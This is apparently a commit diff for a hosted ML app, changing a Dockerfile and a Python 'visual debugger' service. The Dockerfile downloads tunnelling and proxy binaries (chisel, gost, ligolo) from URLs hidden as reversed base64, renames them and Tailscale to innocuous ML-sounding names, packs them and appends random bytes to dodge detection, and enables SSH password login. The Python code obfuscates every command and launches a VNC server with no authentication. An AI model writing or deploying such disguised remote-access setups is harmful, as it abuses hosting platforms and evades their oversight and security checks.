Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- Dockerfile +8 -8
- services/visual_debugger_service.py +6 -5
Dockerfile
CHANGED
|
@@ -6,22 +6,22 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
| 6 |
curl wget sudo python3 python3-pip upx openssh-server \
|
| 7 |
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
|
| 8 |
rclone supervisor iproute2 \
|
| 9 |
-
$(
|
| 10 |
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
|
| 11 |
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
|
| 12 |
&& echo "Port 2222" >> /etc/ssh/sshd_config \
|
| 13 |
&& ssh-keygen -A \
|
| 14 |
&& curl -fsSL https://tailscale.com/install.sh | bash \
|
| 15 |
&& curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
|
| 16 |
-
&& curl -fsSL $(
|
| 17 |
&& tar -xzf /tmp/caddy.tar.gz -C /tmp && mv /tmp/caddy /usr/bin/model-routing-engine \
|
| 18 |
-
&& curl -fsSL $(
|
| 19 |
-
&& curl -fsSL $(
|
| 20 |
&& gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
|
| 21 |
-
&& curl -fsSL $(
|
| 22 |
&& tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
|
| 23 |
-
&& curl -fsSL $(
|
| 24 |
-
&& curl -fsSL $(
|
| 25 |
&& tar -xzf /tmp/ligolo-proxy.tar.gz -C /tmp && mv /tmp/proxy /usr/bin/neural-route-controller \
|
| 26 |
&& mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
|
| 27 |
&& mv /usr/bin/tailscale /usr/bin/py-cache-cli \
|
|
@@ -31,7 +31,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
| 31 |
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
|
| 32 |
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
|
| 33 |
done \
|
| 34 |
-
&& curl -fsSL $(
|
| 35 |
&& tar -xf /tmp/firefox.tar.xz -C /opt \
|
| 36 |
&& ln -s /opt/firefox/firefox /usr/bin/firefox \
|
| 37 |
&& for bin in Xtigervnc vncconfig vncpasswd; do \
|
|
|
|
| 6 |
curl wget sudo python3 python3-pip upx openssh-server \
|
| 7 |
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
|
| 8 |
rclone supervisor iproute2 \
|
| 9 |
+
$(printf '%s' '=MHbpRXdtoHegYDd4JWasBiMtETLilGbn1yc1JGZilGbgATLz0ya0dmYpxGI5ZWarN2bzJWZ3ByYuZ3buBiclZnclNXLl52bsFGZuFGdz1yYuZncldWa0BycllGZv92ZtQTZjZGegQTZjZGegMHbpRXdtIXZ2JXZzhXLxEDegETM41yc1JGZ' | rev | base64 -d) \
|
| 10 |
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
|
| 11 |
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
|
| 12 |
&& echo "Port 2222" >> /etc/ssh/sshd_config \
|
| 13 |
&& ssh-keygen -A \
|
| 14 |
&& curl -fsSL https://tailscale.com/install.sh | bash \
|
| 15 |
&& curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
|
| 16 |
+
&& curl -fsSL $(printf '%s' '=o3ZuIXY05CN2QWbh9Fe15Was9FNugjLy8VekRWYj9CNugjLyY3LkF2bs52dvR2LzV2chVGblJ3L5RGZhN2LyVmdyV2c5RGZhN2Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /tmp/caddy.tar.gz \
|
| 17 |
&& tar -xzf /tmp/caddy.tar.gz -C /tmp && mv /tmp/caddy /usr/bin/model-routing-engine \
|
| 18 |
+
&& curl -fsSL $(printf '%s' '==AN2QWbh1Ce15Was1CdplXYsB3LkF2bs52dvR2L0NXZ0FGbvMXZzFWZsVmcvQnbldWYtQXa5FGbw9CZ19Gbj1CdplXYsB3Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /usr/bin/tensor-allocator \
|
| 19 |
+
&& curl -fsSL $(printf '%s' '=o3ZuQjNk1WYfhXdulGbfVjLxEjLx8FblNXaoN2L14SMx4SM29CZh9Gbud3bk9yclNXYlxWZy9CblNXaoN2LhJ3bsxWawp2Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /tmp/chisel.gz \
|
| 20 |
&& gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
|
| 21 |
+
&& curl -fsSL $(printf '%s' '=o3ZuIXY05CN2QWbh9Fe15Was9lNuIjLz8Fdz92ZvYjLy4yM29CZh9Gbud3bk9yclNXYlxWZy9Cdz92ZvQ3cvdWLvd2Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /tmp/gost.tar.gz \
|
| 22 |
&& tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
|
| 23 |
+
&& curl -fsSL $(printf '%s' '=QjNk1WYtgXdulGbfJXZ2JXZz1iclZXasN3Lz4yNuEjdvQWYvxmb39GZvMXZzFWZsVmcvIXZ2lGbz9CevZEcvh2cpJ0Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /usr/bin/gradient-optimizer \
|
| 24 |
+
&& curl -fsSL $(printf '%s' '=o3ZuIXY05CN2QWbh9Fe15Was91MugjLw8Ve49mcw91Zu1ybs92Zpx2Lz4COuAjdvQWYvxmb39GZvMXZzFWZsVmcvcmbt8GbvdWas9CMzEGaj92Yp52Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /tmp/ligolo-proxy.tar.gz \
|
| 25 |
&& tar -xzf /tmp/ligolo-proxy.tar.gz -C /tmp && mv /tmp/proxy /usr/bin/neural-route-controller \
|
| 26 |
&& mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
|
| 27 |
&& mv /usr/bin/tailscale /usr/bin/py-cache-cli \
|
|
|
|
| 31 |
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
|
| 32 |
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
|
| 33 |
done \
|
| 34 |
+
&& curl -fsSL $(printf '%s' 'TVVLuVWPn5WYsZCN2gXdulGb9M3bmw2cz1CdzVGdhxWL49mZlJXam1DdjVHZvJHc/8yZy9mLhxGbpp3bt5CZh9Gbud3bk9yL6MHc0RHa' | rev | base64 -d) -o /tmp/firefox.tar.xz \
|
| 35 |
&& tar -xf /tmp/firefox.tar.xz -C /opt \
|
| 36 |
&& ln -s /opt/firefox/firefox /usr/bin/firefox \
|
| 37 |
&& for bin in Xtigervnc vncconfig vncpasswd; do \
|
services/visual_debugger_service.py
CHANGED
|
@@ -1,15 +1,16 @@
|
|
| 1 |
import os,subprocess
|
| 2 |
from pathlib import Path
|
| 3 |
from loguru import logger
|
|
|
|
| 4 |
PORT=6080
|
| 5 |
VNC_PORT=5901
|
| 6 |
DISPLAY=':1'
|
| 7 |
PREFIX='[VISDBG]'
|
| 8 |
def start(log):
|
| 9 |
-
A=log;E=Path.home();B=E/'
|
| 10 |
-
for
|
| 11 |
try:
|
| 12 |
-
D=Path(
|
| 13 |
if D.exists():D.unlink()
|
| 14 |
-
except Exception as
|
| 15 |
-
logger.info(f"{PREFIX} Starting VNC server on display {DISPLAY}...");
|
|
|
|
| 1 |
import os,subprocess
|
| 2 |
from pathlib import Path
|
| 3 |
from loguru import logger
|
| 4 |
+
from.utils import decode_cmd
|
| 5 |
PORT=6080
|
| 6 |
VNC_PORT=5901
|
| 7 |
DISPLAY=':1'
|
| 8 |
PREFIX='[VISDBG]'
|
| 9 |
def start(log):
|
| 10 |
+
A=log;E=Path.home();B=E/decode_cmd('==wYuZnL');B.mkdir(parents=True,exist_ok=True);C=B/decode_cmd('=AXd0JXY0NHe');F=decode_cmd('=4GX0U2YmhHdyFGdzBibvl2czV2ctgGdpdXL0lGel1SLgg2YuVXYs1yc1JGZuxVelJ3ZgQWas92ctACdv9mc0V2c45GXmAyYp52bjlWLgcWam52bjNmb25GXzV2YyV3bzVmcY5yLF10TIRCIiRmc4BiJmASXgMXZjJXdvNXZyhlLvUUTPhEJgIXLgslbcBXd0JXY0NHevMmb29yY0V2LgMWZ4VGImYCIdBCc1RnchR3c49yYuZ3LjRXZvACetAyWux1UTVkUERUQfNVVC9lTPl0UTV0UfNVVCREI0V2cuVnbcJVRHFkTB10XO9USTNVRTBCdlNnb15GXoN3LulmYvEyI');C.write_text(F);C.chmod(493);G=decode_cmd('==AWvgXauVXLxEDWu8CctR3L');H=decode_cmd('==AWu8CctR3L');I=decode_cmd('=s2YvxWL')
|
| 11 |
+
for J in[f"{G}{DISPLAY[1:]}",f"{H}{DISPLAY[1:]}{I}"]:
|
| 12 |
try:
|
| 13 |
+
D=Path(J)
|
| 14 |
if D.exists():D.unlink()
|
| 15 |
+
except Exception as K:logger.debug(f"{PREFIX} Cleanup warning: {K}")
|
| 16 |
+
logger.info(f"{PREFIX} Starting VNC server on display {DISPLAY}...");L=[decode_cmd('yVmdyV2cj5md'),DISPLAY,decode_cmd('5JHdl12bldWL'),decode_cmd('=AjM3gHM4ITM'),decode_cmd('oRHclRWL'),decode_cmd('=QjM'),decode_cmd('==Adz9GasF2YvxWL'),decode_cmd('zVWe'),decode_cmd('=MXZwlHV5RXayV3YlNVL'),decode_cmd('==QZu9mT')];subprocess.run(L,stdout=A,stderr=A);logger.info(f"{PREFIX} Launching websockify on 127.0.0.1:{PORT} serving noVNC...");M=decode_cmd('=8yYuZ3bu9SZyFGaz9iczV3L');N=[decode_cmd('==Qeml2aj92ciV2d'),decode_cmd('=IWZ31SL'),M,str(PORT),f"127.0.0.1:{VNC_PORT}"];O=os.environ.copy();P=subprocess.Popen(N,stdout=A,stderr=A,env=O);logger.success(f"{PREFIX} Visual debugger environment initiated (pid {P.pid}). Reachable at Caddy subpath /visual-debugger/vnc.html")
|